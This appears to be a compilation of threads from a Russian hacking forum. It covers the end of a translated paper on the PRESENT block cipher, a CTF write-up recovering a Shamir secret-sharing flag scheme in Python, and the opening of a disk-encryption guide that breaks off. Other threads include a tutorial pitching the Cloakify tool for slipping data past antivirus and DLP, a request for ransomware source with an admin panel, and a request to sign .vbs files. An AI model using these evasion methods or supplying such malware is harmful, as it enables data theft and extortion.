Теорема 2. Обозначим E4R — максимальное смещение линейного приближения четырех кругов использования PRESENT. Тогда E4R ≤ 2-7.
Доказательство теоремы содержится в в приложении 4 оригинальной статьи. Тогда для 28 кругов максимальное смещение составит
26 × E4R7 = 26 × (2-7)7 = 2-43

Поэтому в предположении, что криптоаналитику нужно только приблизительно 28 из 31 раунда в PRESENT, чтобы инициировать атаку восстановления ключа, линейный криптоанализ шифра потребует порядка 284 известных открытых текстов / шифротекстов. Такие требования к данным превышают доступный текст.

Некоторые продвинутые дифференциальные / линейные атаки

Структура PRESENT позволяет нам рассмотреть некоторые выделенные формы атак. Однако ни одна из них не привела к атаке, требующей меньше текста, чем нижняя граница требований к тексту для линейного криптоанализа. Среди выделенных атак мы рассматривали одну, использующую палиндромные различия, так как симметричные различия сохраняются с вероятностью один (т.е. всегда) над диффузионным слоем, и некоторые продвинутые варианты дифференциально-линейных атак. Хотя атаки казались многообещающими в течение нескольких раундов, они очень быстро потеряли свою практическую ценность и вряд ли будут полезны в криптоанализе PRESENT. Мы также установили, что усеченный дифференциальный криптоанализ, вероятно, будет иметь ограниченное значение, хотя следующие два раунда.

Усеченное расширение выполняется с вероятностью один.

Даже при использовании для уменьшения длины уже идентифицированных дифференциальных характеристик требования к данным остаются чрезмерными. Ранкированное расширение выполняется с вероятностью один.

5.2. Структурные атаки

Структурные атаки, такие как интегральный криптоанализ и анализ бутылочного горлышка, хорошо подходят для анализа AES-подобных шифров. Такие шифры имеют сильные словоподобные структуры, где слова обычно являются байтами.Однако конструкция представления почти исключительно побитовая, и хотя операция перестановки несколько регулярна, развитие и распространение словесных структур нарушаются побитовыми операциями, используемыми в шифре.

5.3. Алгебраические атаки

Алгебраические атаки имели бо льший успех, когда применялись к потоковым шифрам, чем к блочным. Тем не менее, простая структура PRESENT означает, что они заслуживают серьезного изучения. S-блок PRESENT описывается 21 квадратичным уравнением для восьми входных / выходных битовых переменных над полем G(2). Это неудивительно, поскольку хорошо известно, что любой четырехбитный S-блок может быть описан по крайней мере 21 таким уравнением. Затем весь шифр может быть описан квадратными уравнениями e=n×21 в переменных v=n×8, где n-число S-блоков в алгоритме шифрования и преобразования ключей.

Для PRESENT мы имеем n = (31×16) + 31 таким образом, вся система состоит из 11 067 квадратных уравнений в 4 216 переменных.Общая задача решения системы многомерных квадратных уравнений является NP-трудной. Однако системы, полученные для блочных шифров, очень редки, так как они состоят из n небольших систем, Соединенных простыми линейными слоями. Тем не менее, неясно, можно ли использовать этот факт в так называемой алгебраической атаке. Были предложены некоторые специализированные методы, такие как XL и XSL, хотя были обнаружены недостатки в обоих методах. Вместо этого единственные практические результаты по алгебраическому криптоанализу блочных шифров были получены путем применения алгоритмов Бухбергера и F4 в рамках Magma. Моделирование на маломасштабных версиях AES показало, что для всех, кроме самых маленьких SP- сетей, быстро возникают трудности как во времени, так и в сложности памяти. То же самое относится и к PRESENT.

Практическое подтверждение. Мы провели моделирование на мелкомасштабных версиях, используя алгоритм F4 в Magma. Когда есть один S-блок, то есть очень маленький блок размером в четыре бита, то Magma может решить полученную систему уравнений за много раундов. Однако при увеличении размера блока и добавлении S-боксов, наряду с соответствующим вариантом линейного диффузионного слоя, система уравнений вскоре становится слишком большой. Даже при рассмотрении системы, состоящей из семи S-блоков, т. е. имея размер блока 28 бит, мы не смогли в разумные сроки получить решение для прошедшего два круга варианта сокращенного шифра. Наш анализ показывает, что алгебраические атаки вряд ли представляют угрозу для PRESENT.

5.4. Атаки с преобразованием ключа

Поскольку не существует никаких установленных руководящих принципов для разработки преобразований ключа, существует как большое разнообразие проектов, так и большое разнообразие атак, исходя из особенностей проекта. Наиболее эффективные атаки подпадают под общую рубрику атака на связанных ключах и сдвиговая атака, и обе основаны на построении идентифицируемых соотношений между различными наборами суб-ключей. Чтобы противостоять этой угрозе, мы используем круг- зависимый счетчик, так что наборы суб-ключей не могут быть легко «сдвинуты», и мы используем нелинейную операцию для смешивания содержимого ключевого регистра K. В частности:

  • все биты в ключевом регистре являются нелинейной функцией 80-битного ключа, поставляемого пользователем к 21 кругу,
  • что каждый бит в ключевом регистре после 21 круга зависит по меньшей мере от четырех из предоставленных пользователем ключевых битов, и
  • к тому времени, когда мы приходим к получению K32, шесть битов являются выражениями степени два из 80 предоставленных пользователем ключевых битов, 24 бита имеют степень три, в то время как оставшиеся биты являются функцией степени шесть или степени девять предоставленных Пользователем ключевых битов.

Мы считаем, что этих свойств достаточно, чтобы противостоять ключевым атакам на основе преобразования ключа.

6. Производительность «железа»

Мы реализовали PRESENT-80 в VHDL и адаптировали его для стандартной библиотеки ячеек Virtual Silicon (VST) на основе UMC L180 0.18 μ 1P6M Logic. Мы использовали Mentor Graphics Modelsim SE PLUS 5.8 c для моделирования и Synopsys Design Compilerversion Y-2006.06 для синтеза и моделирования мощности потребления. Были использованы типичные для литейного производства значения (1,8 Вольта для напряжения сердечника и 25°C для температуры), а для моделирования мощности применена предложенная модель проволочной нагрузки. Обратите внимание, что подобное моделирование преназначено для конструкций около 10 000 GE, поэтому результаты мощности будут пессимистичными для значительно меньших конструкций. На рисунке

показан путь данных оптимизированного по пространству PRESENT-80 без возможности дешифровки (encryption-only), который выполняет один раунд за один такт, т. е. путь данных 64-разрядной ширины. Обратите внимание, что на этапе проектирования PRESENT мы используем один и тот же S-блок 16 раз вместо того, чтобы иметь 16 различных S-блоков, и это облегчает дальнейшую сериализацию проекта, т. е. с 4-битным каналом передачи данных. Наша реализация требует 32 тактовых цикла для шифрования 64-битного открытого текста с 80-битным ключом, занимает 1570 GE и имеет в модуляции энергопотребление 5 мкВт.

Пространственные требования PRESENT

Большую часть площади занимают триггеры для хранения ключа и состояния данных, за которыми следуют S-слой и отдел XOR'ирования ключа. Битовые перестановки простой проводки увеличат площадь только тогда, когда реализация дойдет до этапа place&route. Заметим, что основной целью нашей реализации был небольшой объем аппаратного обеспечения, однако мы также синтезировали оптимизированный по мощности процесс. Для дополнительных 53 GE мы достигаем энергопотребления всего 3,3 мкВт, а нынешний-128 будет занимать оценочную площадь 1886 GE. Помимо очень малого размера PRESENT имеет довольно высокую пропускную способность, дающую хорошую энергию на бит. Сравнение с другими шифрами приведено в таблице:

7. Заключение

В этой статье мы описали новый блочный шифр PRESENT. Нашей целью был сверхлегкий шифр, который обеспечивает уровень безопасности, соизмеримый с размером 64-битного блока и 80-битным ключом. В итоге, PRESENT имеет требования к реализации, аналогичные многим компактным потоковым шифрам. Поэтому мы считаем, что он представляет как теоретический, так и практический интерес. Как и все новые предложения, мы не поощряем немедленное развертывание PRESENT, но настоятельно призываем к его анализу.

Перевод оригинальной статьи «PRESENT: An Ultra-Lightweight Block Cipher» за авторством Robert B. Weide Богданова, Лендера, Паара, Пошмана, Робшава, Сеурина и Виккелсоя.
Автор перевода Raccooner

Signing .vbs
ID: 676536fbb4103b69df3738bb
Thread ID: 34699
Created: 2020-01-30T19:46:48+0000
Last Post: 2020-01-31T09:21:23+0000
Author: cashearner
Replies: 1 Views: 2K

Looking for someone who knows how to digitaly sign .vbs

Cloakify Factory: Прячем информацию при помощи стеганографии
ID: 676536fbb4103b69df3738bc
Thread ID: 34386
Created: 2020-01-15T20:43:48+0000
Last Post: 2020-01-27T19:12:47+0000
Author: tabac
Replies: 1 Views: 2K

Cloakify Factory — это инструмент для преобразования любого типа файлов в список безвредных и даже бесполезных строк. Эта возможность позволяет скрыть данные на виду, а также передавать его по сети, не получая/вызывая предупреждения о вредоносных программах. Функциональность, которую использует Cloakify, называется текстовой стеганографией, которая защищает данные, делая их пластичными/мягкими.

Скрытые файлы уничтожают сигнатурные средства обнаружения вредоносных программ, DLP и т.д.

Установка Cloakify

Для начала нужно скачать инструмент с официального репозитория github.

Для этого нужно выполнить следующую команду в терминале:

Code:Copy to clipboard

git clone https://github.com/TryCatchHCF/Cloakify.git

После завершения загрузки, убедитесь, что у вас установлен python2.7, так как его наличие является обязательным требованием для работы скрипта.

Запуск и использование Cloakify

Для того, чтобы запустить скрипт для текстовой стеганографии нужно перейти в каталог с загруженным ПО и выполнить следующую команду в терминале:

Code:Copy to clipboard

python cloakifyFactory.py

Как вы можете увидеть, Cloakify Factory имеет меню для управления инструментами, каждый из которых использует свой набор сценариев. Когда вы выбираете файл для Cloakify, он сначала преобразует его в theBase64-encode, а затем применяет зашифрованный текст для создания списка, который кодирует полезную нагрузку Base64. После этого скрытые данные могут быть переданы в любое место.

Процесс кодировки можно увидеть на следующих скриншотах. Работа проводится над файлом, который видно выше.

Теперь, когда данные закодированы, можно проверить выходной файл данных, который был обработан Cloakify.

Поскольку данные закодированы, они недоступны и отфильтрованы. Для корректного просмотра содержимого выберите Decloakify с тем же шифром для декодирования полезной нагрузки.

Теперь проверьте файл, если все данные вернулись в исходное состояние, то процесс прошел абсолютно успешно.

Как можно увидеть, данные вернулись в своё фактическое состояние, процесс прошел успешно.

Cloakify является отличным инструментом для передачи данных из сети без обнаружения и срабатывания антивирусных программ.

Его могут использовать как хакеры, так и другие люди для передачи анонимной информации.

Игра в секретики. Как я восстановил схему генерации флагов на локальном CTF
ID: 676536fbb4103b69df3738bd
Thread ID: 34596
Created: 2020-01-25T21:43:16+0000
Last Post: 2020-01-25T21:43:16+0000
Author: neonh4ze
Prefix: Статья
Replies: 0 Views: 2K

Игра в секретики. Как я восстановил схему генерации флагов на локальном CTF

Привет, XSS!

Являясь студентом кафедры компьютерной безопасности, время от времени я принимаю участие в различных мероприятиях, посвященных ИБ — как официальных, так и более самодеятельных. Сегодня я хотел бы рассказать историю, которая произошла со мной на одном из неофициальных ивентов в моем институте осенью прошлого года. История эта связана с победой во внутривузовской CTF-кампании через раскрытие системы генерации флагов. Далее по тексту ты найдешь: щепотку криптографии, дружелюбные иероглифы формул модульной арифметики, немного разработки на Python и развязку в духе "Hack the Planet!" локального масштаба.

Поехали!

Предыстория

Некоторые приглашенные преподаватели моей кафедры имеют привычку организовывать миниатюрные «показательные» CTF-выступления внутри коллектива студентов курса. Нетрудно догадаться о цели проведения таких мероприятий: концепция «вербовки» новых сотрудников а-ля Cicada 3301 стара как мир. Я и четверо моих друзей также решили скоротать время в одном из последних подобных соревнований.

Правила были просты: четыре команды по пять человек максимум и три «раунда», в каждом из которых тебе и твоей команде предлагается пять тасков на различные области знания (Crypto, Reverse, PWN, Forensics, Stego — все по классике). По окончании каждого из таких раундов капитан команды собирает завоеванные флаги в кучу и отправляет их на сервер преподавателя, от которого получает Proof-of- Evidence завершенния текущего этапа (по словам преподавателя, секретное слово генерируется криптографически на основании промежуточных флагов). Финальный секрет озвучивается (на ушко) админу всея пати, а он, в свою очередь, триггерит для тебя и твоей команды начало следующего раунда. Победа достается команде, первой решившей все задачи.

Ключевая особенность такой, казалось бы, слишком заумной системы сдачи флагов заключается в следующем: условный эндпоинт API, куда нужно стучаться, чтобы получить свое секретное слово, доступен в течении одной минуты каждый час соревнования. Другими словами, даже если вы со своей тимой собрали все флаги из всех пяти тасков текущего раунда, но опоздали в «окно» доступности преподавательского сервера, вам придется ждать еще туеву хучу времени, чтобы перейти на следующий этап.

Добавление в игру временного фактора открывает дополнительный (хоть и не предусмотренный изначально) вектор атаки: если узнать алгоритм порождения финального секрета, можно значительно сократить общее время прохождения тасков и обеспечить себе временнóе преимущество, которое в дальнейшем с высокой вероятностью может решить исход встречи в вашу пользу.

Это и было сделано :смайл:

Пороговые схемы разделения секрета

Я опущу подробности объяснений, почему у нас была четкая уверенность в верности догадки о выборе используемого алгоритма (для этого нужно быть знакомым с составителем CTF'а лично, хе-хе), однако факт применения пороговой схемы разделения секрета для нас был практически очевиден. Оставалось лишь определиться с конкретным криптографическим методом, и выбор пал на схему разделения секрета по Шамиру, как самую легко реализуемую на практике. Члены команды продолжили решать таски, в то время как я решил попробовать восстановить алгоритм генерации общего секрета на основе уже имеющихся данных за крайний раунд.

Схема разделения секрета Шамира

Схема Шамира — это такая криптографическая (k,n)-пороговая схема разделения секретного сообщения, при использовании которой только k из n сторон могут восстановить сообщение без потерь. Главный принцип данного метода — возможность интерполяции многочлена степени k-1 через k точек для восстановления исходного секрета.

За всеми этими умными словами скрывается простая идея: чтобы разделить сообщение на k зашифрованных частей необходимо и достаточно:

  1. Представить разделяемый секрет в виде числа. Неважно, каким именно способом это будет сделано, главное только, чтобы этот способ был обратимым. Первое, что приходит на ум: перевести из ASCII в HEX. Назовем получившееся число M.
  2. Выбрать простое число p, которое выступить генератором конечного поля, p > M.
  3. Построить многочлен степени k-1 над данным полем. То есть все операции будут производиться по модулю p.
  4. Вычислить значения (называемые «тенями») построенного многочлена в n различных точках, отличных от 0. Значения «иксов» не играют роли, поэтому можно взять числа просто по порядку от 1 до n.

На этом все! Каждой из k сторон выдается пара (x, y), где x — аргумент многочлена, y — его значение (или «тень») при данном значении аргумента. Также стороны знают степень многочлена и значение генератора p. Остальная информация о проведенной операции разделения секрета стирается.

Таким образом, обладая условной точкой (x, y) в прямоугольной системе координат, каждый из обладателей исходного секрета владеет необходимой крупицой информации для его восстановления. Восстановление тоже проходит не сложно: после того, как все стороны «скинут» в общую кучу свою разделяемую часть, будет легко заново построить первоначальный многочлен: либо через решение системы уравнений, либо интерполяцией того самого полинома Лагранжа. Здесь отлично видно, почему извлечь секретное сообщение не представляется возможным в случае, когда количество «скинутых» осколков секрета меньше k: система уравнений попросту не решится однозначно.

За конкретным примером отправляю читателя прямиком на вики.

Графическая интерпретация

В качестве графического примера, улучшающего понимание вопроса, можно представить такую ситуацию: чтобы однозначно задать прямую на плоскости нужно ровно две точки (см. рис. 1). Если точка будет одна, прямых через нее может быть проведено бесконечно много. Однако общее количество точек на прямой — то есть количества частей, на сколько можно разделить сообщение — есть число (n), большее двух (k), что и отражает суть (k,n)-пороговой схемы.

example_wiki.jpg
Рисунок 1 — Прямую на плоскости можно однозначно задать по двум (k=2) точкам, однако общее количество точек на прямой — частей, на сколько можно разделить секрет — заведомо больше двух (n>=2) (источник — ru.wikipedia.org)

Аналогичный пример можно привести для параболы.

Однако следует помнить, что примеры выше — всего лишь абстракции для облегчения понимания функционирования схемы, не более, потому что в реальной жизни используется арифметика над конечным полем, где геометрическую интерпретацию изобразить не так просто.

Реализация на Python

Итак, мы отвлеклись. Чтобы испытать нашу теорию, я нашел и установил стороннюю либу для питонов, которая позволяет разделять (и, соответственно, восстанавливать) сообщения в разных форматах, следуя схеме Шамира. Как окажется в последствии (когда я прогуглю о "Secret Sharing Schemes" более подробно), схемы реализации разделения секретов для Python доступны еще много где: от [самопальных разработок](http://subdevise.com/2018/01/22/Implementing-Shamir-s-Secret- Sharing-in-Python/) на коленке до довольно мощных проектов типа PyCryptodome в лице модуля Crypto.Protocol.secret_sharing.

Но в тот момент главным для меня была скорость написания PoC'а, поэтому я остановился на первой ссылке гугла, а именно на модуле secret- sharing.

Восстановление секрета

Флаги к заданиям имели вид FLAG-{<BASE58_TEXT>}. Кодировка Base58, полагаю, была использована для исключения возможности разночтений флага (так делают в кошельках Bitcoin, к слову).

На этот момент у было пять флагов с прошлого раунда:

  • FLAG-{9ERQNGRcjoTq7MPfgTVejtzSNv33f3ietAorhZk7Se2zeytDWSr3YfDgAzY6jLDinXnreakt8RpUcdRGqxC35pgxkZXDeokZm17DrSY46imouKHekQ65hEXZkDHcZXTbeAE52R9Um38LZdw4zQqqBCC7MDgCUfFyWPeeqHvcCk24c66iM6aJ1E9CJw7Tj65T74ASYM4dVfoeQg7qFC7gyMT8jdEhzmHB5psTNfg53422iVFmnG7vnoNd84}
  • FLAG-{94xDeQNWNVi2613QaYiNvPjpzsFP8aygF4c817bH7veBSuy7JsR6zhFitLgdddE7S8wjFutmLXDu3L79kfwhi3xrsVj9Pug2i3ZP4tKNK8UoXmJZ3tsigw9CVFo9HXS7CmPoaBxA1FAghPJBcT629d5ktAm7F7v3n2vd8PoXTEkENvmxqvPfMBuHf7PeoNpvdUUogouFb6F7ZgSY5hiwKefmovCoHTENUFmw49CHDfHQVmNS8tS1uTNJ4x}
  • FLAG-{9EVdrpc9dTb1XkCNMpsifXHyH1ohXBcxCHXux5BzpL3eN5ND18RWeNnvCqvmdDCVs6eFcb2H7dejhtHjyiiBfVUyTg8SSPBTvHkLVQSGFF7vgRX6gJtQRCsv64oDBLHztmEqJrYoQZxrEacgKxgYUa1riedPjEPbQSstkCPzoAt8XpsZu67kvwwkfp3g84cFe4SYMZjcTuxFwT4MvNwjQw3UR1JryJr9jR728dZ4ufTt6kTcjJ6F1KTA4M}
  • FLAG-{9Yr73zHw5YeGpNJyChAytgNJUW2W5qc984AnXJFaisV41954TcqmRqEAHpKCucHjyHHmujumA4pnXvCs6thmTZeH5Nq9cxhMrLdRUpishqNwkkkKqb1s6tCrHf1ojC5CTiNpfSW8NE7KwS8BAaNJf7WCptVo69YF2sqYAF9VWKXphBr1sMUfmqenSmoRndbo3H792QAfrrhXwDyEKGASLv2d7Skf8M5TXwHiScrFGVkiKKFWQEszXmn8GF}
  • FLAG-{952T7YxKh5LtySTDf2L2ZLMe15TXBYyf5wjCrzCWSW6HpSzQoARsCVRBb86ADriiefXd2PnqMG742RnS7T4jAknV4egKcydPyfMytfgrNxYvjpi6je44hrLFnYLSDxdcEdBv6PCifuZkRkHYA2nWybGQGcSWVqX8Z51ePSQYjx51caJFEnrvEX38Sbvsu6yCFZrBrJZMk4kWB8N7hZNVFfvKTgMNvg3wpxUgzRzHnzFLfZ7CUxWmJZ9oQb}

Я установил два сторонних пакета — secret- sharing и base58:

Code:Copy to clipboard

$ pip install secret-sharing base58

И попробовал восстановить секрет так, как [предлагает](https://github.com/blockstack/secret-sharing#recovering-from- base58-shares) мануал (выбрал класс BitcoinToB58SecretSharer, а значения аргументов — от 2 до 6):

Python:Copy to clipboard

>>> from secretsharing import BitcoinToB58SecretSharer
>>> shares = [
...     '2-9ERQNGRcjoTq7MPfgTVejtzSNv33f3ietAorhZk7Se2zeytDWSr3YfDgAzY6jLDinXnreakt8RpUcdRGqxC35pgxkZXDeokZm17DrSY46imouKHekQ65hEXZkDHcZXTbeAE52R9Um38LZdw4zQqqBCC7MDgCUfFyWPeeqHvcCk24c66iM6aJ1E9CJw7Tj65T74ASYM4dVfoeQg7qFC7gyMT8jdEhzmHB5psTNfg53422iVFmnG7vnoNd84',
...     '3-94xDeQNWNVi2613QaYiNvPjpzsFP8aygF4c817bH7veBSuy7JsR6zhFitLgdddE7S8wjFutmLXDu3L79kfwhi3xrsVj9Pug2i3ZP4tKNK8UoXmJZ3tsigw9CVFo9HXS7CmPoaBxA1FAghPJBcT629d5ktAm7F7v3n2vd8PoXTEkENvmxqvPfMBuHf7PeoNpvdUUogouFb6F7ZgSY5hiwKefmovCoHTENUFmw49CHDfHQVmNS8tS1uTNJ4x',
...     '4-9EVdrpc9dTb1XkCNMpsifXHyH1ohXBcxCHXux5BzpL3eN5ND18RWeNnvCqvmdDCVs6eFcb2H7dejhtHjyiiBfVUyTg8SSPBTvHkLVQSGFF7vgRX6gJtQRCsv64oDBLHztmEqJrYoQZxrEacgKxgYUa1riedPjEPbQSstkCPzoAt8XpsZu67kvwwkfp3g84cFe4SYMZjcTuxFwT4MvNwjQw3UR1JryJr9jR728dZ4ufTt6kTcjJ6F1KTA4M',
...     '5-9Yr73zHw5YeGpNJyChAytgNJUW2W5qc984AnXJFaisV41954TcqmRqEAHpKCucHjyHHmujumA4pnXvCs6thmTZeH5Nq9cxhMrLdRUpishqNwkkkKqb1s6tCrHf1ojC5CTiNpfSW8NE7KwS8BAaNJf7WCptVo69YF2sqYAF9VWKXphBr1sMUfmqenSmoRndbo3H792QAfrrhXwDyEKGASLv2d7Skf8M5TXwHiScrFGVkiKKFWQEszXmn8GF',
...     '6-952T7YxKh5LtySTDf2L2ZLMe15TXBYyf5wjCrzCWSW6HpSzQoARsCVRBb86ADriiefXd2PnqMG742RnS7T4jAknV4egKcydPyfMytfgrNxYvjpi6je44hrLFnYLSDxdcEdBv6PCifuZkRkHYA2nWybGQGcSWVqX8Z51ePSQYjx51caJFEnrvEX38Sbvsu6yCFZrBrJZMk4kWB8N7hZNVFfvKTgMNvg3wpxUgzRzHnzFLfZ7CUxWmJZ9oQb'
... ]
>>> BitcoinToB58SecretSharer.recover_secret(shares)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "secretsharing/sharing.py", line 123, in recover_secret
    secret_int = points_to_secret_int(points)
  File "secretsharing/sharing.py", line 55, in points_to_secret_int
    free_coefficient = modular_lagrange_interpolation(0, points, prime)
  File "secretsharing/polynomials.py", line 75, in modular_lagrange_interpolation
    numerator = (numerator * (x - x_values[j])) % prime
TypeError: unsupported operand type(s) for %: 'int' and 'NoneType'

И получил какую-то ошибку в математике. Облом. Попробовал сделать то же самое, вручную распаковав Base58-значения в числа и передав их функции points_to_secret_int [напрямую](https://github.com/blockstack/secret- sharing#recovering-from-shares-2):

Python:Copy to clipboard

>>> from secretsharing import points_to_secret_int
>>> from base58 import b58decode
>>> shares = [(i+2, int(b58decode(share.split('-')[-1]))) for i, share in enumerate(shares)]
>>> shares
[(2, 368187175636948697128010679216113169692417477377668360266597915164889432614152885070269315608072373232293422243964179872040452423142043333931906388680500281950010609835787003726718711L), (3, 224939571178205505546098472251553395036844521528935578144180355374264250751092046295099660643794758263674388692371937322324894684890986278502585327528377689094487672073574381457969991L), (4, 389572449784738548545773031523453331978114979715009063395002758617346072539494444212917767813804760948548769162589715097968622443636294356818356918227903419974958573584442003519548776L), (5, 504049251997271561034336833267126471056785194053780496037537113926792746992006341360860139625922575009201572084459115033413181714569462738049432599495148143716563227330581744384323188L), (6, 245085694543075208418794444329265851748802951479593899764465520397236875865350578945296910707457854913084197041009688839435538011402526644087045005043117094426416937062476160199792990L)]
>>> points_to_secret_int(shares)
528541488436268003457954907207912499660859898155088108931094827024485375660200902201381551179510556622257006027919562914727441134206436235902486792827143827559198951095172796578243748L

После этого что бы я ни делал, у меня не получалось перевести это число в осмысленный текст — все время получался нечитаемый мусор. Значит, где-то была ошибка в логике восстановления секрета. Что я делаю неправильно? Единственная ошибка могла быть в значениях аргументов «координат», ведь, как ты помнишь, они необязательно должны начинаться с начала и идти по порядку...

Какое еще детерминированное представление о «порядке» рабочих станций может иметь сервер преподавателя? На ум напрашивается только IP-адрес машины. Ну или MAC, но почему-то IP на подсознательном уровне звучало более достоверно. По крайней мере, хотелось так думать, ведь для этого типа адресов существует готовый метод трансляции в число :смайл:

Функция socket.inet_aton как раз этим и занимается: переводит IP-адрес из привычной нотации (4 октета, разделенных точкой) в struct in_addr (или сырые питоновские байты в нашем случае). Допустим, IP моего ПК был 172.16.0.10 , тогда в числовом виде это выглядело бы так:

Python:Copy to clipboard

>>> from socket import inet_aton
>>> from struct import unpack
>>> unpack('!L', inet_aton('172.16.0.10'))[0]
2886729738

Здесь я использую [квалификатор](https://docs.python.org/2/library/struct.html#byte-order-size- and-alignment) !, который определяет big-endian порядок байт (т. к. именно он используется в этих ваших сетевых делах), и функцию struct.unpack, которая обеспечивает человеческий вид полученной структуры.

Диапазон IP-адресов компьютеров моей команды: 172.16.0.10-14 , поэтому с помощью следующего скрипта можно восстановить секретный флаг на локальной машине без необходимости обращения к преподскому серваку:

Python:Copy to clipboard

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# Usage: python2 shamir_recover_secret.py

from socket import inet_aton
from struct import unpack

from secretsharing import points_to_secret_int
from base58 import b58decode
from binascii import unhexlify

shares = [
    ('172.16.0.10', '9ERQNGRcjoTq7MPfgTVejtzSNv33f3ietAorhZk7Se2zeytDWSr3YfDgAzY6jLDinXnreakt8RpUcdRGqxC35pgxkZXDeokZm17DrSY46imouKHekQ65hEXZkDHcZXTbeAE52R9Um38LZdw4zQqqBCC7MDgCUfFyWPeeqHvcCk24c66iM6aJ1E9CJw7Tj65T74ASYM4dVfoeQg7qFC7gyMT8jdEhzmHB5psTNfg53422iVFmnG7vnoNd84'),
    ('172.16.0.11', '94xDeQNWNVi2613QaYiNvPjpzsFP8aygF4c817bH7veBSuy7JsR6zhFitLgdddE7S8wjFutmLXDu3L79kfwhi3xrsVj9Pug2i3ZP4tKNK8UoXmJZ3tsigw9CVFo9HXS7CmPoaBxA1FAghPJBcT629d5ktAm7F7v3n2vd8PoXTEkENvmxqvPfMBuHf7PeoNpvdUUogouFb6F7ZgSY5hiwKefmovCoHTENUFmw49CHDfHQVmNS8tS1uTNJ4x'),
    ('172.16.0.12', '9EVdrpc9dTb1XkCNMpsifXHyH1ohXBcxCHXux5BzpL3eN5ND18RWeNnvCqvmdDCVs6eFcb2H7dejhtHjyiiBfVUyTg8SSPBTvHkLVQSGFF7vgRX6gJtQRCsv64oDBLHztmEqJrYoQZxrEacgKxgYUa1riedPjEPbQSstkCPzoAt8XpsZu67kvwwkfp3g84cFe4SYMZjcTuxFwT4MvNwjQw3UR1JryJr9jR728dZ4ufTt6kTcjJ6F1KTA4M'),
    ('172.16.0.13', '9Yr73zHw5YeGpNJyChAytgNJUW2W5qc984AnXJFaisV41954TcqmRqEAHpKCucHjyHHmujumA4pnXvCs6thmTZeH5Nq9cxhMrLdRUpishqNwkkkKqb1s6tCrHf1ojC5CTiNpfSW8NE7KwS8BAaNJf7WCptVo69YF2sqYAF9VWKXphBr1sMUfmqenSmoRndbo3H792QAfrrhXwDyEKGASLv2d7Skf8M5TXwHiScrFGVkiKKFWQEszXmn8GF'),
    ('172.16.0.14', '952T7YxKh5LtySTDf2L2ZLMe15TXBYyf5wjCrzCWSW6HpSzQoARsCVRBb86ADriiefXd2PnqMG742RnS7T4jAknV4egKcydPyfMytfgrNxYvjpi6je44hrLFnYLSDxdcEdBv6PCifuZkRkHYA2nWybGQGcSWVqX8Z51ePSQYjx51caJFEnrvEX38Sbvsu6yCFZrBrJZMk4kWB8N7hZNVFfvKTgMNvg3wpxUgzRzHnzFLfZ7CUxWmJZ9oQb')
]

shares = [(unpack('!L', inet_aton(ip))[0], int(b58decode(share))) for ip, share in shares]
secret = hex(points_to_secret_int(shares))[2:-1]
print unhexlify(secret)

shamir_recover_secret.png
Рисунок 2 — Результат выполнения скрипта "shamir_recover_secret.py"

Победа! На всё-про-всё ушло около получаса, а выигранное время оказало существенное преимущество на наше продвижение по рейтинговой таблице.

Разделение секрета

После всей этой истории я задумался, каким образом можно было бы использовать собственные значения аргументов с помощью библиотеки secret-sharing: из коробки она не позволяет задавать произвольные «иксы».

Для добавления такого функционала я подправил интерфейс библиотеки и сохранил вывод git diff во внешний файл- патч. Теперь можно пропатчить локальную копию либы и переустановить ее через pip:

Code:Copy to clipboard

$ git clone https://github.com/blockstack/secret-sharing && cd secret-sharing
... Копируем "changes.patch" в рабочую директорию ...
$ patch -p1 < changes.patch
$ pip install --upgrade --no-deps --force-reinstall .

А затем уже можно воспользоваться таким простым скриптом, чтобы сгенерить нужные флаги для тасков в своем диапазоне «иксов»:

Python:Copy to clipboard

#!/usr/bin/env python
# -*- coding: utf-8 -*-

# Usage: python2 shamir_split_secret.py

from socket import inet_aton
from struct import unpack

from secretsharing import secret_int_to_points
from base58 import b58encode
from binascii import hexlify

ip_addr = [
    '172.16.0.10',
    '172.16.0.11',
    '172.16.0.12',
    '172.16.0.13',
    '172.16.0.14',
]

x_values = [unpack('!L', inet_aton(ip))[0] for ip in ip_addr]

secret = 'ЭТО_ПРИМЕР_СЕКРЕТНОГО_СООБЩЕНИЯ_ДЛЯ_XSS_IS_!'
int_secret = int(hexlify(secret), 16)

shares = secret_int_to_points(int_secret, 5, 5, x_values=x_values)
print 'Shares:\n\n%s\n' % shares

print 'Flags:\n'
for _, y in shares:
    print 'FLAG-{%s}\n' % b58encode(str(y))

shamir_split_secret.png
Рисунок 3 — Результат выполнения скрипта "shamir_split_secret.py"

Вместо заключения

Вот таким нехитрым образом (практически методом «пол-палец-потолок») был раскрыт способ получения секретного слова для триггера нового этапа CTF- мероприятия в обход обращения к управляющему серверу.

Спасибо за внимание, всем добра!

Ищу сорцы криптолокера
ID: 676536fbb4103b69df3738be
Thread ID: 34391
Created: 2020-01-16T00:03:40+0000
Last Post: 2020-01-16T14:00:20+0000
Author: rusundead
Replies: 5 Views: 2K

Есть у кого-нибудь сорцы криптолокера с админкой?
Был бы признателен.

Полнодисковое шифрование Windows Linux установленных систем. Зашифрованная мультизагрузка
ID: 676536fbb4103b69df3738c0
Thread ID: 34232
Created: 2020-01-07T21:35:14+0000
Last Post: 2020-01-07T21:35:14+0000
Author: tabac
Prefix: Статья
Replies: 0 Views: 2K

Обновленное свое же руководство по полнодисковому шифрованию в рунете V0.2.

Ковбойская стратегия:

[A] блочное системное шифрование Windows 7 установленной системы;
[ B ] блочное системное шифрование GNU/Linux (Debian) установленной системы (включая /boot) ;
[C] настройка GRUB2, защита загрузчика цифровой подписью/аутентификацией/хэшированием;
[D] зачистка — уничтожение нешифрованных данных;
[E] универсальное резервное копирование зашифрованных ОС;
[F] атака <на п.[C6]> цель — загрузчик GRUB2;
[G] полезная документация.

?---Схема #комнаты 40# <BIOS/MBR/1HDD без lvm>:
+--? Windows 7 установленная — шифрование полное системное, не скрытое;
+--? GNU/Linux установленная (Debian и производные дистрибутивы) — шифрование полное системное не скрытое (/, включая /boot; swap) ;
+--? независимые загрузчики: загрузчик VeraCrypt установлен в MBR, загрузчик GRUB2 установлен в расширенный раздел;
+--? установка/переустановка ОС не требуется;
L--? используемое криптографическое ПО: VeraCrypt; Cryptsetup; GnuPG; Seahorse; Hashdeep; GRUB2 – свободное/бесплатное.

Вышеописанная схема частично решает проблему «выносной boot на флэшку», позволяет наслаждаться зашифрованными OS Windows/Linux и обмениваться данными по «зашифрованному каналу» из одной ОС в другую.

Порядок загрузки ПК (один из вариантов):

  • включение машины;
